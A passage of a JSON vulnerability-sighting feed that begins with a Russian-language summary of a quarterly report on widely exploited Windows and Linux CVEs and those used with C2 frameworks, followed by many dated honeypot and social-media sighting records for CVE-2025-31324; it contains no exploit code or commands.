\u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Windows \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2018-0802 (RCE\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor), CVE-2017-11882 (\u0435\u0449\u0435 \u043e\u0434\u043d\u0430 RCE \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b), CVE-2017-0199 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Office \u0438 WordPad, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439).\n\n\u0414\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 WinRAR \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 NetNTLM \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows: CVE-2023-38831 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 WinRAR), CVE-2025-24071 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a\u0430 Windows) \u0438 CVE-2024-35250 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u00a0ks.sys).\n\n\u0414\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Dirty Pipe), CVE-2019-13272 (EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0438 CVE-2021-22555 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430 Netfilter).\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043c\u044b \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u043e \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u0445 C2 (Sliver, Metasploit, Havoc \u0438 Brute Ratel C4) \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 C2, \u0432 \u041b\u041a \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0443\u0447\u0430\u0441\u0442\u0438\u0435\u043c \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0432\u044b\u0448\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u043e\u0432 C2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\n- CVE-2025-31324 \u0432 SAP NetWeaver Visual Composer Metadata Uploader: \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10,0.\n\n- CVE-2024-1709 \u0432 ConnectWise ScreenConnect 23.9.7: \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10,0.\n\n- CVE-2024-31839, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f CHAOS v5.0.1: \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a EoP.\n\n- CVE-2024-30850, RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 CHAOS v5.0.1: \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\n- CVE-2025-33053: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0434\u043b\u044f LNK-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 Windows: \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u0427\u0435\u0442\u043a\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430, \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0439 TOP 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\u00a0\u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "url": "https://t.me/true_secator/7370"}, {"timestamp": "2025-08-28T00:00:00Z", "date_only": false, "value": "2025-08-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1cbde498-6cf8-44e7-9f15-985c3a3363aa"}, {"timestamp": "2025-08-29T13:09:46.019Z", "date_only": false, "value": "2025-08-29T13:09:46.019970Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/sequretek.bsky.social/post/3lxk4y5huw22i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "51f256d4-1502-44b1-8d9a-aab28f5834a0", "url": "https://bsky.app/profile/sequretek.bsky.social/post/3lxk4y5huw22i"}, {"timestamp": "2025-08-30T00:00:00Z", "date_only": false, "value": "2025-08-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "743418de-3895-4bec-b0e6-b3beaa9bd28b"}, {"timestamp": "2025-08-30T10:23:39.746Z", "date_only": false, "value": "2025-08-30T10:23:39.746351Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-be4c6ae6-41d04d89fb236f71", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5fbb57b6-9e89-4d8b-89cb-64d8931e8bf9", "url": "https://poliverso.org/objects/0477a01e-be4c6ae6-41d04d89fb236f71"}, {"timestamp": "2025-08-31T00:00:00Z", "date_only": false, "value": "2025-08-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-31)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8e67249c-925e-406b-bcc4-d97bcf7b605a"}, {"timestamp": "2025-09-01T00:00:00Z", "date_only": false, "value": "2025-09-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9708ea87-d3fa-48e1-8966-28eca0ee4170"}, {"timestamp": "2025-09-01T12:06:43.129Z", "date_only": false, "value": "2025-09-01T12:06:43.129961Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3lxrku4xh5k2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8acb3d06-29de-4682-bf55-28103bc57345", "url": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3lxrku4xh5k2w"}, {"timestamp": "2025-09-03T00:00:00Z", "date_only": false, "value": "2025-09-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "af8267c1-1631-4c39-ba63-97722601c4c3"}, {"timestamp": "2025-09-05T00:00:00Z", "date_only": false, "value": "2025-09-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-05)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "14fe99bb-cafa-46b3-8920-b7bd889d26ce"}, {"timestamp": "2025-09-06T00:00:00Z", "date_only": false, "value": "2025-09-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5bff4cbe-977d-4430-9f9e-3e5f71f6cb42"}, {"timestamp": "2025-09-09T23:00:31.424Z", "date_only": false, "value": "2025-09-09T23:00:31.424874Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/GossiTheDog.cyberplace.social.ap.brid.gy/post/3lygt3xxg6tu2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0960f01a-ef4d-4387-a90e-2d93f1253114", "url": "https://bsky.app/profile/GossiTheDog.cyberplace.social.ap.brid.gy/post/3lygt3xxg6tu2"}, {"timestamp": "2025-09-10T00:00:00Z", "date_only": false, "value": "2025-09-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "90cdbacb-4f53-453a-9d71-9b5cb9ffa5a8"}, {"timestamp": "2025-09-10T02:09:10.379Z", "date_only": false, "value": "2025-09-10T02:09:10.379419Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lyh5nzewxq24", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8a69852a-9ec7-4331-9fe7-638f512f01bf", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lyh5nzewxq24"}, {"timestamp": "2025-09-10T11:21:38Z", "date_only": false, "value": "2025-09-10T11:21:38.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/Darkcrai86/6dacc595c0a2ab7145bb9e840f2b589d", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "d8f14cab-60e1-42c8-9368-f8072acffedc", "url": "https://gist.github.com/Darkcrai86/6dacc595c0a2ab7145bb9e840f2b589d"}, {"timestamp": "2025-09-11T03:30:07.984Z", "date_only": false, "value": "2025-09-11T03:30:07.984863Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3lyjsnorabu2r", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "aa91bc13-49e3-42bf-a310-a0351997166b", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3lyjsnorabu2r"}, {"timestamp": "2025-09-12T00:00:00Z", "date_only": false, "value": "2025-09-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9b9125de-7a17-4cb7-8e89-a81d96509e4c"}, {"timestamp": "2025-09-13T00:00:00Z", "date_only": false, "value": "2025-09-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "38a8f9ed-86cd-482b-8012-0b3f59534147"}, {"timestamp": "2025-09-15T02:15:45.233Z", "date_only": false, "value": "2025-09-15T02:15:45.233935Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lytqefamyb2l", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "745f8061-7f53-47ea-a065-0e75f049720d", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lytqefamyb2l"}, {"timestamp": "2025-09-16T00:00:00Z", "date_only": false, "value": "2025-09-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "104a9d4c-5b17-4c30-8894-b43432c1aeef"}, {"timestamp": "2025-09-16T02:09:44.799Z", "date_only": false, "value": "2025-09-16T02:09:44.799119Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lywaikvzii2a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "11957546-bae6-4249-b3df-26490d8ad7a3", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lywaikvzii2a"}, {"timestamp": "2025-09-17T00:00:00Z", "date_only": false, "value": "2025-09-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-17)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7567e87b-90e1-4644-bc4a-a6d6d24865c5"}, {"timestamp": "2025-09-18T00:00:00Z", "date_only": false, "value": "2025-09-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "65617109-f597-435a-8319-d1b3e84a9b95"}, {"timestamp": "2025-09-19T00:00:00Z", "date_only": false, "value": "2025-09-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-19)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "aaca4e51-79ae-4226-b6f0-833ab0f5f3e5"}, {"timestamp": "2025-09-20T00:00:00Z", "date_only": false, "value": "2025-09-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fdd3d811-26b6-447f-95c6-24ea306e0621"}, {"timestamp": "2025-09-21T00:00:00Z", "date_only": false, "value": "2025-09-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "65258cc2-9b1b-4b7d-8d87-354836b519f4"}, {"timestamp": "2025-09-22T00:00:00Z", "date_only": false, "value": "2025-09-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d85f42df-b455-4d93-9a22-4b14ab00f99e"}, {"timestamp": "2025-09-24T00:00:00Z", "date_only": false, "value": "2025-09-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cc058867-4875-4399-8576-3a3189b98a8e"}, {"timestamp": "2025-09-25T00:00:00Z", "date_only": false, "value": "2025-09-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "783c529e-8dc5-4bc4-bc1e-aa2a6e3e73a5"}, {"timestamp": "2025-09-27T00:00:00Z", "date_only": false, "value": "2025-09-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "403b416e-d2e7-4f3d-993c-74bbcb081a3f"}, {"timestamp": "2025-09-27T00:00:00Z", "date_only": false, "value": "2025-09-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "721f6d83-0b44-4bc9-88be-987241806bda"}, {"timestamp": "2025-09-28T00:00:00Z", "date_only": false, "value": "2025-09-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "39da13ec-7412-4209-b578-1e166368f755"}, {"timestamp": "2025-09-28T08:23:31Z", "date_only": false, "value": "2025-09-28T08:23:31.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "38275f03-6a54-470f-a03f-a51f9806aa38"}, {"timestamp": "2025-09-29T03:12:17Z", "date_only": false, "value": "2025-09-29T03:12:17.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "36816e98-13d8-4efd-9535-8d94eb27998c"}, {"timestamp": "2025-09-30T00:00:00Z", "date_only": false, "value": "2025-09-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "dd50fb75-9169-439a-8906-ee84868121bf"}, {"timestamp": "2025-10-02T00:00:00Z", "date_only": false, "value": "2025-10-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ed6ef8ae-da95-4e54-b353-8731220ff9f3"}, {"timestamp": "2025-10-04T00:00:00Z", "date_only": false, "value": "2025-10-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7fb2a584-1f39-41ae-97f8-33433991daaa"}, {"timestamp": "2025-10-05T00:00:00Z", "date_only": false, "value": "2025-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-05)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f7c776b1-48a5-41d3-871f-a545d7ce228f"}, {"timestamp": "2025-10-05T00:00:00Z", "date_only": false, "value": "2025-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-05)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5f6fd253-bba2-43b6-8de9-9ac847502849"}, {"timestamp": "2025-10-06T00:00:00Z", "date_only": false, "value": "2025-10-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "86ab2c74-baf7-44a3-920b-ec7572ab24aa"}, {"timestamp": "2025-10-07T00:00:00Z", "date_only": false, "value": "2025-10-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-07)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6e6dc63c-d8bb-4bf7-93a4-5b69a33788ed"}, {"timestamp": "2025-10-09T00:00:00Z", "date_only": false, "value": "2025-10-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "02e31b8b-05f9-4604-8dff-07620279ccd5"}, {"timestamp": "2025-10-10T00:00:00Z", "date_only": false, "value": "2025-10-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a3c4185c-5f0e-4f75-804b-6bbf15f13365"}, {"timestamp": "2025-10-11T00:00:00Z", "date_only": false, "value": "2025-10-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cd091b69-b2fa-4892-9c61-f7e7c1b35596"}, {"timestamp": "2025-10-13T00:00:00Z", "date_only": false, "value": "2025-10-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0702e94b-57cc-4988-a055-02b705fbea07"}, {"timestamp": "2025-10-14T00:00:00Z", "date_only": false, "value": "2025-10-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1d7dc610-c8fb-408f-a0c1-aabe2ee5b052"}, {"timestamp": "2025-10-15T00:00:00Z", "date_only": false, "value": "2025-10-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8471685a-89f6-4a70-812e-daa9578b066b"}, {"timestamp": "2025-10-16T00:00:00Z", "date_only": false, "value": "2025-10-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "518df53d-265b-47c3-a367-c56556a02c40"}, {"timestamp": "2025-10-17T00:00:00Z", "date_only": false, "value": "2025-10-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-17)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5877abb8-e7b4-4edb-a525-dc12edc905aa"}, {"timestamp": "2025-10-18T00:00:00Z", "date_only": false, "value": "2025-10-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a31375c0-0c38-439a-8468-031975c9921a"}, {"timestamp": "2025-10-19T00:00:00Z", "date_only": false, "value": "2025-10-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-19)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3ddc53ee-b708-4c78-8681-10c703546251"}, {"timestamp": "2025-10-20T00:00:00Z", "date_only": false, "value": "2025-10-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "76f49102-79f9-41d6-9496-0404a7a079a3"}, {"timestamp": "2025-10-21T00:00:00Z", "date_only": false, "value": "2025-10-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "37fa396d-f43d-4d5c-8753-ebba70839efa"}, {"timestamp": "2025-10-22T00:00:00Z", "date_only": 